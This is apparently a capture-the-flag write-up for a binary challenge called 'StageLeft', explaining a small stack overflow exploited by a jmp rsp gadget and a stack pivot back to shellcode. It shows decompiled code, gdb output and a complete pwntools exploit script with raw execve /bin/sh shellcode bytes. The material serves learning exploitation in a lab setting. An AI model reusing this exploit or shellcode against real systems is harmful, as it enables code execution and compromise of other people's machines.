This challenge is very similar to the last challenge Running on Prayers, except instead of an unbounded gets into a buffer, we read in 0x40 bytes using fgets. Because space is limited, we have to inject our shellcode in stages, as the name suggets.

undefined8 vuln(void)

{
  char local_28 [32];
  
  printf("Cramped...");
  fgets(local_28,0x40,stdin);
  return 0;
}

Again we can use jmp rsp, but this time we will use somthing like sub rsp, 0x20 jmp rsp after rsp. 0x20 is just a placeholder, but it represents the offset between rsp and the start of the buffer. We will load our shellcode at the start of the buffer, and then calculte the offset between the start of the buffer and rsp. Using this, we jump back to the start of the buffer and execute our shellcode. I used the placeholder value, and using gdb, set a breakpoint on ret, and continued to when jmp rsp is called. The difference between the start of our buffer (which I filled with ‘AAAA’ for debugging) and rsp will be the offset we need.

     0x401232 <gift+10>        in     al, dx
     0x401233 <gift+11>        adc    BYTE PTR [rsi-0x39], ah
     0x401236 <gift+14>        rex.RB (bad)
 →   0x401238 <gift+16>        jmp    rsp
     0x40123a <gift+18>        lea    rax, [rip+0xdd7]        # 0x402018
     0x401241 <gift+25>        mov    rdi, rax
     0x401244 <gift+28>        mov    eax, 0x0
     0x401249 <gift+33>        call   0x401060 <printf@plt>
     0x40124e <gift+38>        mov    eax, 0xffffffff
gef➤  search-pattern("AAAA")
[+] Searching '(AAAA)' in memory
[+] In '[stack]'(0x7fff3aca9000-0x7fff3acca000), permission=rwx
  0x7fff3acc7370 - 0x7fff3acc7376  →   "(AAAA)[...]" 
  0x7fff3acc7374 - 0x7fff3acc737a  →   "(AAAA)[...]" 
  0x7fff3acc7378 - 0x7fff3acc737e  →   "(AAAA)[...]" 
  0x7fff3acc737c - 0x7fff3acc7382  →   "(AAAA)[...]" 
  0x7fff3acc7380 - 0x7fff3acc7386  →   "(AAAA)[...]" 
  0x7fff3acc7384 - 0x7fff3acc738a  →   "(AAAA)[...]" 
  0x7fff3acc7388 - 0x7fff3acc738e  →   "(AAAA)[...]" 
  0x7fff3acc738c - 0x7fff3acc7392  →   "(AAAA)[...]" 
  0x7fff3acc7390 - 0x7fff3acc7396  →   "(AAAA)[...]" 
  0x7fff3acc7394 - 0x7fff3acc739a  →   "(AAAA)[...]" 
i r rsp
rsp            0x7fff3acc73a0      0x7fff3acc73a0
>>> 0x7fff3acc73a0 - 0x7fff3acc7370
48

So 48 is the offset we need to pivot back to our shellcode. I think the shellcode generated by pwntools shellcraft would have been too long, so i found a shorter 27 byte shellcode on https://shell-storm.org/shellcode/index.html. Now putting it all together:

from pwn import *

elf = context.binary = ELF("./StageLeft")

target = process("./StageLeft")

jmp_rsp = next(elf.search(asm('jmp rsp')))

payload = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
payload += b"\x00" * 13

payload += p64(jmp_rsp)
payload += asm('''
	sub rsp, 48;
	jmp rsp;
''')

target.sendlineafter("...", payload)
target.interactive()